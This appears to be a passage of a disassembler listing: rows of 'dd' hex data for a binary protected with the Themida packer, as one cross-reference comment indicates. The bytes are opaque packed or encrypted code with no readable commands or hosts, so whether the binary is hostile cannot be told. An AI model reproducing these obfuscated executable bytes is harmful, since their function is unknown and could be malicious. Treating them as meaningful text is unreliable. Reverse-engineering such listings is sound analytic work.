		dd 7CA0AC1Ch, 9B372C1Ah, 96711B1Fh, 78D93A77h, 2D63EF23h
		dd 0F1C1004h, 59816F88h, 5BF3E5BBh, 4328B0C2h, 4F69D768h
		dd 0B9DB2197h, 95D9612Ah, 20DA1A9Ah, 0EC3E708h,	0E6A55C5Eh
		dd 0F68CFE8Ch, 0D8D066FFh, 150F5FC7h, 82C5ACAFh, 43D6D03h
		dd 71E824A0h, 4F25F9A5h, 561F0093h, 0E896EADEh,	6, 0B02CB26h
		dd 0B8602C90h, 4202087Dh, 59616057h, 0BE95B61h,	5C000000h
		dd 3C0F106Dh, 51D5F790h, 0C3811134h, 67B0h, 12D5B58Bh
		dd 91B905EAh, 81124E89h, 0B1902CC1h, 10E9EDh, 0E1B70000h
		dd 7E383F2Eh, 0E7D0DBB2h, 3B2BEF9Bh, 33FF3D4Eh,	23119D89h
		dd 0FC5805EAh, 1FFCF081h, 81F96209h, 2E56FBE8h,	7F0816Ah
		dd 0B2F8E4Dh, 0EA129DB5h, 0B038905h, 0EA0B35BDh, 53EB8105h
		dd 8906A53Ch, 0EA1B49B5h, 4FC38105h, 2B06A53Ch,	0EA0149B5h
		dd 1E98305h, 16850Fh, 8B660000h, 1EE9D0h, 0F3D50000h, 0CC0419CBh
		dd 5682363Fh, 2F5B3E1Bh, 959BD29h, 93E905EAh, 0B8FFFFFFh
		dd 9CCF4ABBh, 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh
		dd 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh,	0F46BB291h
		dd 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h
		dd 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh
		dd 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah,	53F545F3h
		dd 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h
		dd 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh
		dd 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h
		dd 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h, 17055C2Fh
		dd 13A7E9h, 0C9C6800h, 0AFE905F0h, 68FFFA73h, 5F00DBDh
		dd 0FA73A5E9h, 0EC868FFh, 9BE905F0h, 68FFFA73h,	5F01020h
		dd 0FA7391E9h, 109D68FFh, 87E905F0h, 68FFFA73h,	5F01180h
		dd 0FA737DE9h, 126868FFh, 73E905F0h, 68FFFA73h,	5F01309h
		dd 0FA7369E9h, 13B968FFh, 5FE905F0h, 68FFFA73h,	5F01560h
		dd 0FA7355E9h, 166F68FFh, 4BE905F0h, 68FFFA73h,	5F017A4h
		dd 0FA7341E9h, 18E668FFh, 37E905F0h, 68FFFA73h,	5F01AB7h
		dd 0FA732DE9h, 1BF068FFh, 23E905F0h, 3BFFFA73h,	0AC5602B5h
		dd 24DE8A2Bh, 0A85206B7h, 26DC8829h, 0F55307B4h, 2FCC0E74h
		dd 0AE4D817Bh, 23D400FAh, 0A9488D77h, 77C557FDh, 1D46727Dh
		dd 0B8227CF0h, 4672320Ah, 0BE1D851Dh, 49E86D1Bh, 0CB66EFE5h
		dd 77FF319Fh, 0A70468C4h, 0D08E57A2h, 0C42D91Eh, 0C3AFC36Fh
		dd 75D685C9h, 754A9527h, 0A53D12BCh, 53897F09h,	0B9F7116Ch
		dd 3082184Bh, 116C533Ch, 0E95162D5h, 82F55EDDh,	7F1B91Ah
		dd 772E2345h, 2Ch, 84F7392Eh, 1B117DD1h, 0E58925D8h, 6F364346h
		dd 48888331h, 0A33B12BCh, 3887790Fh, 0BFF1116Ch, 0A78004Dh
		dd 6842E24h, 0DD000001h, 0E549E86Dh, 96C86BEFh,	66C6BE0Ch
		dd 0A1391756h, 25A8A202h, 9BD2D874h, 883AA0FEh,	175666B4h
		dd 643C9F07h, 17D604CAh, 5666CFA5h, 0D6BA2217h,	66000F75h
		dd 87CE1756h, 1144BEEAh, 0B4C5CC60h, 3AF4A8Fh, 0EF5D036Fh
		dd 12BC6860h, 26DF8B13h, 0E6540AD3h, 0CD0AADDh,	0BB923B9h
		dd 0B7F7831h, 926A1C84h, 980B7F78h, 7B17BB5Ch, 4C37940Ch
		dd 0F4983DB2h, 45F664AAh, 3933811Bh, 8C0B7F78h,	315D0272h
		dd 0C230CA92h, 68732211h, 2981E82Ah, 1129F8h, 0D87FF100h
		dd 5C01768Ch, 0DC81F208h, 52FF7288h, 0DD7EFC06h, 0D4AE2F89h
		dd 5BA1F5A6h, 0CE346013h, 47BDE98Eh, 9D37630Eh,	72C7BD0Fh
		dd 0B63A1D46h, 1FD0391Fh, 5C05BAB0h, 6C774DFFh,	52CA1756h
		dd 579B9D3Eh, 0C534FAA4h, 41EFB714h, 6C9369DBh,	7EE61756h
		dd 0FB570874h, 0BB323497h, 498E401Eh, 6C2014A6h, 0B931756h
		dd 0ADA7CB67h, 762E8D2Ch, 421B6E2Fh, 48B5AE1Ch,	0D04812BCh
		dd 0D0F678Eh, 0BC5E5CDEh, 3F9C41B6h, 0F617E99Fh, 2F61116Bh
		dd 0C7C8B0BDh, 0F13F2E23h, 99D9D382h, 0D70059FAh, 59000000h
		dd 0E549E86Dh, 64C86BEFh, 5665E512h, 992BB117h,	175662A3h
		dd 2B2D8E16h, 59A3F7A2h, 0C0C96514h, 0CC478AB9h, 2C40EC8Dh
		dd 54094A40h, 108F6638h, 8A0BB50h, 6F2AF2Bh, 1E7205EAh
		dd 9B37E814h, 9C0654F7h, 0D91A2152h, 88E44824h,	0A8A6512Bh
		dd 0C15912BBh, 401D6C95h, 0EBB8AC1Eh, 0D34B0CCFh, 2D0F438Dh
		dd 4D46B66Bh, 0C772FB39h, 6993C7ABh, 0B4794AE9h, 0D0E82B0Ah
		dd 1008A978h, 0A0D00000h, 1E51ABFFh, 0A2D12B7Fh, 1C5DA7F3h
		dd 9FD3297Dh, 8F0EA8FCh, 84D083F7h, 0F5BF87Eh, 84D087F5h
		dd 0E5AF77Eh, 0B08436A4h, 31D4673h, 0ED6D268Fh,	5AF6A728h
		dd 0F40E5A36h, 9146B681h, 633D513Dh, 2A8928ADh,	5235DC72h
		dd 0D5B3B919h, 6733971Eh, 0C91E44Ah, 0E86D0AAFh, 66EFE549h
		dd 0F6659FCBh, 0EAF01947h, 9E9624C6h, 111756D7h, 6008A489h
		dd 99933390h, 42F1A554h, 0E1BCCD70h, 0DBF25BFh,	17572037h
		dd 201B11A3h, 0F66E1757h, 44F77F81h, 4BE884E8h,	0BD367A31h
		dd 29AA6412h, 17B4D874h, 64AAF46Ch, 82EE42F3h, 7A4DF721h
		dd 0B3DAF2F7h, 73C19F66h, 1548D8D0h, 5E57FB63h,	9E2C724Bh
		dd 0F5E284Ah, 0BA579A54h, 165E56E4h, 49D10E0Bh,	570991EAh
		dd 16857FCDh, 60F80E0Bh, 165F91C3h, 65FD6C3Ah, 86EA9EC0h
		dd 2F831D8h, 9C2A02B0h,	59D0E0Ah, 2096628h, 0CA03F9A1h
		dd 29511C2Fh, 3ABE59Fh,	0EFDD2h, 8C33A500h, 8AD22D8h, 8035A65Ch
		dd 0EAB2ED4h, 8132A05Ah, 0B0F273D5h, 3FC59142h,	0AA5004B7h
		dd 0DB21752Ah, 19B3E792h, 7543398Bh, 3AB61D46h,	49E86D93h
		dd 0FB9AD917h, 0C1BB0957h, 34175666h, 8ACAC0ACh, 0B61579D5h
		dd 330A1F16h, 732CDF6Dh, 47DF12BCh, 0C69FEA13h,	42C12A98h
		dd 0AC340CD2h, 21827600h, 0B0FE0B82h, 0F34F3944h, 5ABF2839h
		dd 0E6000000h, 0DD80F739h, 0E0171D71h, 5EFD913Dh, 29774E5Bh
		dd 0A19B29B3h, 14175666h, 82552F8Ch, 0B512BC2Bh, 27E9732Dh
		dd 0A9AF0CAFh, 38DD122Bh, 0CA94F894h, 961C4F23h, 0D172DB8Ah
		dd 693B0F89h, 7EF7116Bh, 0FF7D87D3h, 8738A46Ah,	3B31472Bh
		dd 8E116B69h, 7D67A16h,	0E32h, 31B6E5Eh, 0F248FE61h, 2C721ECEh
		dd 0A6873F9Eh, 88D64E12h, 36620F46h, 44E889CCh,	0C4A7D41Ah
		dd 66777E76h, 569F111h,	8F56A3A6h, 7D7D63D1h, 5AF00CB6h
		dd 766D14E8h, 6DBE670Bh, 0CEC36C8Ah, 0B1EF83EFh, 0F458FB7Fh
		dd 0F32418AAh, 0F970B76h, 5C92C063h, 0D62C7819h, 5EF29Fh
		dd 6FDD8CCEh, 0B76F395h, 0BF1C70E8h, 84F06FBAh,	7F137FD3h
		dd 0BE52BB21h, 0FB82074Bh, 5E8DF754h, 5106DC9Ch, 5441FAC9h
		dd 0EF47EE1Dh, 0DA53Eh,	540B4D00h, 0C075FA00h, 48ED6E94h
		dd 0C673E61Ch, 49EA6892h, 483ABB1Dh
		dd 0C73D690Ah, 42B8EC8Fh, 0C3396D12h, 11BBEF8Ah, 773B3183h
		dd 28E1D46h, 671F11ABh,	9DEC1756h, 1E509EC0h, 168CDE7Dh
		dd 7AC493FFh, 27792D51h, 56D19F95h, 298A1217h, 0A6D84553h
		dd 7E20B812h, 0C89C3DB0h, 8829A866h, 0EDEB4824h, 6C65C968h
		dd 0AC1E401Dh, 0CCCD41Fh, 0D2794AD2h, 0F2E82D2Dh, 0D288B5Ah
		dd 80F00000h, 0FE718BDFh, 82F10B5Fh, 0FC7D87D3h, 7FF3095Dh
		dd 0AF2E88DCh, 0A4F0A3D7h, 2F7B185Eh, 0A4F0A7D5h, 2E7A175Eh
		dd 0D0A41684h, 231D4676h, 0E86D06AFh, 66EFE549h, 145B95CBh
		dd 8E22D507h, 8D2D8EE2h, 0E604EDBFh, 6406CB25h,	0DB094BE8h
		dd 0F37E692h, 75D1634h,	22B80000h, 57599C90h, 0F745EF17h
		dd 175758FDh, 2784E870h, 0BAD03982h, 9E040796h,	297075D6h
		dd 298025Ch, 5720BCB0h,	1C7B5517h, 0B87650C6h, 8EF457CFh
		dd 12A6D1D5h, 73C80FC1h, 983458FBh, 0B42C57F4h,	0B124EAh
		dd 0B061905Eh, 3CB14B13h, 7147319Dh, 0BA1166C1h, 7AC8966Fh
		dd 0CCCCDC9h, 0C3FD67Ch, 0D4348F03h, 0EBBCB0C6h, 94260B7Ch
		dd 0B7CEBA0h, 56FC8B13h, 7CEC10E4h, 97FB630Bh, 0F44BC8FBh
		dd 0F159E82Ch, 0C4520h,	0B46BED00h, 20D51AE0h, 0A84D8E74h
		dd 26D306FCh, 0A94A8872h, 0A8DA5BFDh, 27DD892Ah, 0A2580CAFh
		dd 23D98D32h, 0F15B0FAAh, 77DBD163h, 0A22E1D46h, 49E86D0Bh
		dd 9321BBE5h, 17566699h, 982A74ECh, 175665A4h, 2A2C8F17h
		dd 685AF6A3h, 0C5B3BA2Ah, 31340E3Bh, 67Bh, 0BDB7059Fh
		dd 3017565Dh, 83EF8CCEh, 1F118520h, 0BB175667h,	66999321h
		dd 74EC1756h, 0FEC7D2D7h, 0B4883AA0h, 7175665h,	0DC6E3C9Fh
		dd 12A66C47h, 0F23C62FAh, 4E80DE7Bh, 90C86B08h,	3077E36Ah
		dd 0EA0A9BF9h, 0F03E600Ch, 5C50E281h, 0AF1165EBh, 0DAF75B37h
		dd 4D37C09Eh, 3291FDC6h, 0CD02CC92h, 217C0528h,	0D7EED4Fh
		dd 875EABAEh, 9CD86BD9h, 8C420CCBh, 0E98ACC4Bh,	0E6452945h
		dd 0D75A449Dh, 0B24E3E7h, 64B15467h, 63CBE82Eh,	0B5DB2h
		dd 2CD30500h, 0A84D8278h, 20D506FCh, 0AE4B8E74h, 21D200FAh
		dd 5052D375h, 0DF257122h, 4AB0E497h, 0FB01550Ah, 3993C772h
		dd 792319ABh, 1A961D46h, 49E86DB3h, 0CB66EFE5h,	0E5175567h
		dd 0E3CF098h, 5A51C34h,	6E450000h, 0AE1C421Bh, 12A66D24h
		dd 39AA0AD3h, 174E5D03h, 65CFCFA5h, 0D6BA2211h,	0CCAB45FBh
		dd 791500C5h, 0B564E927h, 53814FE1h, 0C4090FACh, 0EE7B915h
		dd 2CE19EFh, 3349EA93h,	11662D3Dh, 0BCE2BBCEh, 0FF530072h
		dd 0D0623093h, 0CCC3923h, 0E47D4ED6h
dword_5A1D68	dd 18E82DC8h, 0ABC61B0h, 0F4640000h, 6AED1743h,	0F6659FCBh
					; DATA XREF: Themida_:005592B1o
		dd 68E91347h, 0F3679DC9h, 33B21440h, 85CFF73h, 8BDF7CF2h
		dd 85C0371h, 8ADE7BF2h,	2C00B220h, 9F1D467Ah, 0E86DBA13h
		dd 3F8D1749h, 17566745h, 0A32A20B8h, 95365AF6h,	78826B35h
		dd 148E419Dh, 7CF1F754h, 14371DDh, 89FE8AD3h, 0EC0E340Eh
		dd 0A0000004h, 0ABB4883Ah, 9F071756h, 0D039993Ch, 0B9C6D97Bh
		dd 0DB0276Bh, 2A1CDA1h,	57358378h, 0A4818817h, 0DAD260FAh
		dd 2D175734h, 0F64416B5h, 12A73B2Fh, 16D8861Eh,	9C6632DFh
		dd 1D14B859h, 0DD6F310Ch, 0CCD0A2Eh, 0B6A59C1h,	19E82CDAh
		dd 0A0C60B1h, 0A4D40000h, 1A5DA7F3h, 0A6D52F7Bh, 1859A3F7h
		dd 0A3D72D79h, 8302A4F0h, 98CC6FE3h, 1B4FEC62h,	98CC73E1h
		dd 1A4EEB62h, 9C9022B0h, 0EF1D4679h, 0E86DCA63h, 66EFE549h
		dd 91CF67CBh, 66C3B90Bh, 0AE361756h, 2A8637A4h,	35A7E546h
		dd 1642EF66h, 0E38D6A2h, 1BA2634h, 397F0000h, 671B11A3h
		dd 0F66E1756h, 7F1A5355h, 0E594D9D3h, 9CD11FB1h, 9E3D51FDh
		dd 0E9B78E9Bh, 0BC760C5Bh, 0FE4CD612h, 116C5306h, 3942E179h
		dd 857B0DA1h, 0F3116C53h, 0D21C4FBDh, 1951F29Fh, 2E24296Fh
		dd 739Fh, 0D039C600h, 0CCE9E060h, 1E0A7FCh, 77EEFCBh, 0AD87356Bh
		dd 17568Fh, 0EB3E3B98h,	0E5FE4C12h, 0B112BC71h,	60A3992Bh
		dd 0E66B116Ch, 0FC8BE74Bh, 34E96E64h, 2C57F498h, 0DC4618B4h
		dd 4E38DD12h, 116C6176h, 62FB10C9h, 0E11019C6h,	64542E8Dh
		dd 0AA116BB0h, 2D278B28h, 8AA70BAAh, 0C6D587FCh, 0DC9E3425h
		dd 0BFF18DB0h, 0AD78004Dh, 0EC842E23h, 0DD000000h, 0AD2FE86Dh
		dd 94CA660Ah, 0F3AF187Dh, 0EC1C63B5h, 1C81ACDBh, 4345E618h
		dd 9EC06C0Fh, 0DD712250h, 0E11412B1h, 46F46E30h, 1756A66Eh
		dd 5AFA59C1h, 0AA88CA04h, 3A83D72Ah, 0CA0CC5Dh,	4D21D606h
		dd 0B465E8EEh, 628966E0h, 3CD51756h, 0DAD752Ch,	80EADB3h
		dd 0EE4014C5h, 0AF03B420h, 146560C3h, 35A51749h, 0ED12BAA8h
		dd 4CFD7D04h, 0D6FBF217h, 0E35421E5h, 0F78C2FD2h, 7BFF316Fh
		dd 8E8439BEh, 6905A94Eh, 27AB5105h, 74EA4774h, 963EE240h
		dd 86547h, 14CB0D00h, 8035BA40h, 8AD2ED4h, 8633A65Ch, 9AA28D2h
		dd 87AFB5Dh, 877D29CAh,	2F8AC4Fh, 83792DD2h, 51FBAF4Ah
		dd 7C7B71C3h, 42CE1D46h, 11A339EBh, 1756671Bh, 0D4FFB76Eh
		dd 0C98F21CEh, 0D20006A5h, 0CE621547h, 0B484EDE3h, 4C204798h
		dd 478E7420h, 6DA7FEAAh, 0D91749E8h, 3A56FA99h,	0BA333999h
		dd 886A4B1Fh, 33000002h, 1C421B6Eh, 56074886h, 7428D7FAh
		dd 7BB49393h, 0F5CEB417h, 4812BD5Ah, 0A6148ED0h, 116D38CEh
		dd 0BA1AB921h, 6D38FCCCh, 0DA0A4411h, 250AE593h, 32801A2Eh
		dd 116D2D3Ah, 0EFB6158Dh, 21Ch,	671C11B6h, 8C421756h, 0C09AA4Bh
		dd 620F46FDh, 66B68E3Ch, 91091756h, 4211A3FDh, 3512A66Dh
		dd 0B83DF3ADh, 3EB74D19h, 0CB03CD93h, 38065169h, 0A9C5360Dh
		dd 0EC636905h, 2A89E549h, 0C976838Ah, 1478D48Bh, 0E7942678h
		dd 9A0CCB6Dh, 0B320F764h, 0AEC2AE02h, 0EA8637A4h, 2E7566D9h
		dd 0E7369EE8h, 756h, 7D29CE02h,	0F9AD5087h, 792DD003h
		dd 0F7A34E83h, 7A2ECD0Dh, 0B1215DDCh, 2AAC5602h, 0B527DD89h
		dd 29AC5602h, 0E476DC88h, 467D5E56h, 0F45DD11Dh, 0E549E86Dh
		dd 67CB66EFh, 0C50B91CFh, 9F95E392h, 12175666h,	0F96B298Ah
		dd 0DA8E2BA2h, 0E399A6Eh, 162EA34h, 6DB30000h, 0FAA2FE8h
		dd 0FA3CFA3h, 7521D005h, 0FEA07D8Ch, 0BC76234Ch, 228E1612h
		dd 6C546454h, 6292DC11h, 242A6D1Bh, 29992Eh, 6EC00000h
		dd 0AE1C421Bh, 12BC48B5h, 0A7CD048h, 116C3836h,	55A0CC82h
		dd 2E240AA3h, 0F7D3h, 3947D00h,	3D084E25h, 6DE643E0h, 0EFE549E8h
		dd 5896C86Bh, 0B8D47819h, 3CB1BB1Bh, 866F319Dh,	55E7ED05h
		dd 1756B35Fh, 0B7674AD2h, 0E2E447CAh, 8829A86Bh, 174BAE4h
		dd 3390FC50h, 0B72CC56Bh, 78E11A7Dh, 6F45F7A9h,	0C2175686h
		dd 9483F95Ah, 9A175653h, 62F8A653h, 5632DCD0h, 37852F17h
		dd 1756333Dh, 0E74428B0h, 6A3346BFh, 8A148634h,	108A12BAh
		dd 6956CAA2h, 6A53D11h,	75BBE57Dh, 1CBD3005h, 9CDE2470h
		dd 897BCCFFh, 2981E240h, 621F8h, 0D087C900h, 44F97E84h
		dd 0B469EA10h, 3AD71AE0h, 0B566946Eh, 0BCC647E1h, 33C99D3Eh
		dd 0B64C18BBh, 3FC59146h, 0E54F1BB6h, 7DEFC577h, 0CE421D46h
		dd 11A33967h, 1756671Bh, 0F89B1134h, 4532E296h,	0FA787EDDh
		dd 969E3B18h, 0A1CDD63Dh, 0DDD765FFh, 50175673h, 747448FAh
		dd 5FC71756h, 32C89033h, 134A1EBBh, 0A82FE86Dh,	6B3599F5h
		dd 238037A5h, 5501B025h, 3674h,	0F240DA00h, 175666FAh
		dd 0D376D54Dh, 0E549E86Dh, 95CB66EFh, 0CF00195Bh, 82EE422Eh
		dd 848E8121h, 6F0A4358h, 0BF7CFF31h, 45298538h,	4AE98529h
		dd 393312h, 6D6A0000h, 0D91749E8h, 11AA59Bh, 0C5383DE1h
		dd 8C2FA3A9h, 4FEF4C20h, 56D64639h, 0E596C417h,	6E114349h
		dd 31A4AEC2h, 0AF262C80h, 92C2AE02h, 0BB9DC02Ch, 0B12473E1h
		dd 6D0D5400h, 0ECE549E8h, 2C9EC09Dh, 12A66CF1h,	8C69800h
		dd 0BA4014C5h, 16D88633h, 319132DFh, 4A14F138h,	0B662F8F8h
		dd 2FAC620Ch, 0A628228Eh, 593559F5h, 471981FAh,	0C1954489h
		dd 0ED61B23Bh, 878E224Eh, 3BF5AB72h, 0F4A605B8h, 0DC571546h
		dd 4370E806h, 0EE1D9B0Ch, 0DF61B018h, 8B000004h, 3CC69245h
		dd 0B44E1ABBh, 38C29647h, 0B64C18B9h, 65C39744h, 0BF5C9EE4h
		dd 3EDD11EBh, 0B364906Ah, 39D81DE7h, 0E755C76Dh, 1D467F0Dh
		dd 6D45EC60h, 0B31D49E8h, 0BC38FD7Dh, 0B7DBB71Bh, 3EDB1214h
		dd 0A4559892h, 2DD20208h, 90438B81h, 0CA0559Ah,	0B1067628h
		dd 56FE9241h, 4C209208h, 0BF175667h, 11810A27h,	0DA6F2E28h
		dd 0F2C93B79h, 3E8ADE7Bh, 340E924Ah, 33BAh, 1B6EE300h
		dd 0F9AE1C42h, 0C12BC2Ah, 0D704CA94h, 19D78526h, 0F67024DBh
		dd 116C1B04h, 7E2AC70Eh, 4F84AD0h, 77116C1Bh, 0A4A4CEFh
		dd 3328F955h, 71000004h, 0A72FE86Dh, 205258F4h,	0DF731F73h
		dd 0A5F1A0D5h, 2E704D5Ch, 0BC75539Ch, 0E0BE2612h, 52F4C87Ah
		dd 0B947116Ch, 462A8635h, 0EEC6742Ah, 41116C52h, 0ACDA7AD9h
		dd 116C52DCh, 0E9FA6A24h, 52EBC173h, 0C65E116Ch, 295B2D65h
		dd 6EA02E24h, 208E09EDh, 0AB730725h, 0E988CDC7h, 0D38A2945h
		dd 20h,	421B6E8Ah, 48B5AE1Ch, 0D04812BCh, 38360A7Ch, 0CC82116Ch
		dd 0AA355A0h, 0F4D32E24h, 8A000000h, 0E549E86Dh, 97896BEFh
		dd 0EA1632E2h, 747ED2BEh, 2BAC6201h, 3C4A268Ah,	17575548h
		dd 554C2092h, 27BF1757h, 0F61E8950h, 5740ABB5h,	9309573Bh
		dd 57604B21h, 8526BE17h, 4AA62F25h, 13B5FB1Ch, 87D3BFF4h
		dd 5712F601h, 0D081F417h, 5AF77E84h, 0E1AAFFF6h, 57105953h
		dd 5834AC17h, 0E889C806h, 0D98B2844h, 0BD0BEC6Bh, 87359F12h
		dd 116D08ADh, 8A19B29h,	8C14116Dh, 5B0F63FBh, 0D08E57A2h
		dd 0B728A34Ah, 1479E2F3h, 591FCDB7h, 8A120CD1h,	3BD81AD4h
		dd 0B665956Fh, 29B75085h, 0DD0CA4E8h, 30Eh, 0B5E196DAh
		dd 155084Fh, 91C578FBh,	1F4BE66Bh, 92C675E5h, 89C9B534h
		dd 1244BEEAh, 8DCF3561h, 1144BEEAh, 0C9E3460h, 4680C6BEh
		dd 1CB5391Dh, 0B80FED6Dh, 730413E5h, 0A63C620Eh, 9935E668h
		dd 0CCA983F5h, 841C1756h
		dd 50857F27h, 6EACF5A1h, 0D21C421Bh, 0A4599E9Dh, 502496C8h
		dd 0A3175667h, 78CA983Bh, 12BC4963h, 1555BC16h,	1F31A4DAh
		dd 0A0D5AFD9h, 0B028116Bh, 0B42E70DCh, 6BA12E06h, 0BA198111h
		dd 6BA0F0C0h, 8C164811h, 6BA1463Eh, 8221B911h, 0BF4994C0h
		dd 0C42E2373h, 85D7362Dh, 0B91A1270h, 0D1E0h, 0E86DB900h
		dd 6BEFE549h, 278B28AEh, 0A30FAE2Dh, 63CFA3CFh,	5665EA15h
		dd 0CC6DE017h, 4EEB6298h, 0B89EDE10h, 0E9946B3Dh, 0F7FD9130h
		dd 117DD184h, 824C12B2h, 0D683CA51h, 0D97A167Ah, 0AEF0CDDCh
		dd 0BBC9831Ch, 0FAAE3612h, 712FF603h, 494B0098h, 2E8D1C65h
		dd 0B27CE67Ch, 14E89E3Bh, 67116BBBh, 0D584F5FFh, 0CCB61579h
		dd 0CD010BFh, 7AB4EA72h, 0F50F5BF8h, 261E9785h,	0B7F8EDA9h
		dd 7E882F05h, 761A820Bh, 58FE291Ah, 0AE06E82Bh,	1D57Fh
		dd 0A45B9D00h, 10C50AF0h, 983DBE44h, 16C336CCh,	993AB842h
		dd 98EA6BCDh, 17EDB95Ah, 92683CDFh, 13E9BD62h, 0C16B3FDAh
		dd 820BE153h, 0F27E1D46h, 7CED6D5Bh, 5666F6CEh,	0BDD14917h
		dd 3FDA13E9h, 0E86D326Bh, 66F3C97Bh, 0DE461756h, 0E1141EB2h
		dd 579E6430h, 0A1F16BAh, 45F76D33h, 1756676Fh, 0ABF95AC2h
		dd 0DF7AFF31h, 0E6151F73h, 54F79B37h, 0BC7BF92Eh, 0CA940C12h
		dd 8A26D704h, 0B5E545E6h, 8BC2D90Bh, 0F77EB0EEh, 399AF65Ah
		dd 0B4919861h, 334F58EAh, 3AA20CD2h, 0B8599C96h, 0E8011B14h
		dd 76205549h, 0F3B112A4h, 15F03981h, 0EAEEF94Bh, 816806E7h
		dd 0FD4FA295h, 5986007h, 27CFE27Ah, 6F14B7A6h, 1459A3F7h
		dd 5A0FE557h, 0F94B0598h, 5985A03h, 199EE76h, 5A17ED5Fh
		dd 0F26A0598h, 0C80EC09Eh, 7628882Bh, 399A3BB8h, 0B61ABD3Fh
		dd 369A3BBCh, 0FB79C03Ch, 0E884E844h, 0CE3E6044h, 1341FFAFh
		dd 0F4A05184h, 7F21FC0Dh, 0FE6E9ACDh, 94A8400h,	3794F854h
		dd 448AD44Ch, 64C46718h, 0B087F43Ah, 50FC9041h,	54999F3Ch
		dd 0E75909A5h, 3BBC7275h, 0F95A369Ah, 8ED0ADFCh, 1450EB3Ch
		dd 0D8861EFBh, 2DA0A631h, 0DB8592F5h, 0C4329369h, 0DD7EE6F9h
		dd 502D7C85h, 1A5A940Eh, 8F23CE03h, 54858FE3h, 197C06A5h
		dd 28F51438h, 0D8421CB0h, 903CE116h, 27B28AFCh,	9D05F3D4h
		dd 4B5383Eh, 7623AA50h,	0E591ACDAh, 0DD1DE220h,	5A98923Eh
		dd 0F3BD15B9h, 59535C81h, 48E96C2Bh, 0C26FE61Ch, 22F5646Eh
		dd 0CB0802AFh, 0BAEA462Ah, 0E693DA14h, 92D50745h, 0F2AA1B7Bh
		dd 65C6B23Eh, 0A629EA63h, 61CF9BF7h, 268A2DAFh,	66EFE94Ah
		dd 3B667CBh, 0EF000000h, 0EB6DA508h, 5B929834h,	0DC1812BEh
		dd 599D973Bh, 0DE1C16BAh, 579B913Dh, 0CF0208A4h, 57848E22h
		dd 0CF000AA6h, 68E9822Eh, 748Bh, 53241C89h, 0C381E389h
		dd 4, 4EB81h, 1C870000h, 14895C24h, 0E0895024h,	405h, 4E88300h
		dd 5C240487h, 0BA243C89h, 9C95CD6h, 2414F752h, 814A425Ah
		dd 701E36EAh, 0A5F2813Ch, 54BC368Fh, 83243C8Bh,	0EC8104C4h
		dd 4, 8F241489h, 34FF0847h, 0C4835F24h,	2434FF04h, 4C4815Ah
		dd 0E9000000h, 0FFFA601Eh, 0EAE25926h, 0C8CF36A2h, 8E2FBEC6h
		dd 0F01DEAB8h, 0FFC50305h, 3703CE0h, 0EEDFB274h, 34EEE173h
		dd 471F2353h, 0FE42631h, 0CFE1532h, 0AED8804Fh,	94E95060h
		dd 8CCAE31Ch, 0D5D0D230h, 0BBED823Ah, 96A5DA3Ah, 66BF382Dh
		dd 4F32D328h, 4F21F30Bh, 0E45B6963h, 5F875378h,	5ECF9D30h
		dd 5A4FBF0Dh, 0F3392F7Fh, 0D59FF970h, 0F0EB6F72h, 0C10E2872h
		dd 0E8D96821h, 0B9F3827Ah, 0A6F78808h, 2D598860h, 13FEE3Bh
		dd 7C08EB7Bh, 56FA46h, 0E9024100h, 0C06h, 0F020B168h, 393EE905h
		dd 9368FFFBh, 0E905F021h, 0FFFB3934h, 0F0234668h, 392AE905h
		dd 268FFFBh, 0E905F024h, 0FFFB3920h, 0F024AE68h, 3916E905h
		dd 0AB68FFFBh, 0E905F026h, 0FFFB390Ch, 0F0273E68h, 3902E905h
		dd 7068FFFBh, 0E905F028h, 0FFFB38F8h, 0F0296368h, 38EEE905h
		dd 7A4DFFFBh, 0F7C6A942h, 725B34DFh, 0F0DEB15Ah, 6A5C33D8h
		dd 0C3EEB952h, 0B45F7741h, 35DEF6DBh, 0B55E765Ah, 31DAF2DAh
		dd 64CCA990h, 4E825A8h,	0BF093A6h, 48C9FF3h, 6651C34h
		dd 0FFF31D35h, 0C4003D93h, 0C9F76690h, 0B3D0BC8Ch, 0B1F2D8CBh
		dd 15FBB3CBh, 7E3217D5h, 5018117Dh, 0D5D0F318h,	0EF2C8416h
		dd 0C9816104h, 0A020D5B0h, 0C4C0E81Fh, 0B3A9CFE2h, 1CDEEC2h
		dd 0E6F81C9h, 0E81FAE1Eh, 0F0AD280Fh, 3850F0F4h, 3F8Ch
		dd 4D486F00h, 0D4AD7D8Eh, 5018D66Dh, 0A0C54C29h, 9F9BE820h
		dd 539E1D0h, 5128609Bh,	35ACCC95h, 5E3BBE5Fh, 0E82136D2h
		dd 7A165E96h, 3767B5D4h, 93B4E821h, 7E2FBD68h, 0E4C13852h
		dd 22000000h, 0F21C3404h, 126BA395h, 3E5453D6h,	18DDC176h
		dd 0EB39BD86h, 0CEC64AD4h, 9172F48Dh, 261BB5D9h, 738B7C1Fh
		dd 3601CA56h, 121E7BE2h, 0D6E23602h, 264A821Eh,	0B35D7545h
		dd 4ED2B78Eh, 12E23602h, 0E5D5B6DAh, 0CA2F46ADh, 21E23606h
		dd 0A5CA2159h, 7853BDD5h, 6E0B723Dh, 0E8201437h, 290AE129h
		dd 0E7D7EF6Ch, 9FB5F072h, 0CB5C661Bh, 317991DCh, 0BEF42D48h
		dd 3CF4EE0Ch, 3C542645h, 20457C45h, 0EE0CBF00h,	230D28E0h
		dd 0C5EE0CBFh, 0A5CA610Dh, 3F82BBD3h, 9ACD8BD5h, 9A32834h
		dd 0C2B50000h, 3F0E618Ah, 0BA83EC07h, 38066982h, 0B284EB00h
		dd 0B26719Ah, 6C87BF89h, 0ED063E03h, 6D86BE82h,	0E9023A02h
		dd 0C147148h, 0DCE825A9h, 3D5E617Eh, 0D1DD334Bh, 0BFECDEBDh
		dd 5854BAD2h, 0A494FB10h, 4898876Ch, 5E3B424Dh,	0E81FB7B3h
		dd 76C4B1B5h, 982CFD6Dh, 336DA9D0h, 0E9431A3Eh,	0C1A00E62h
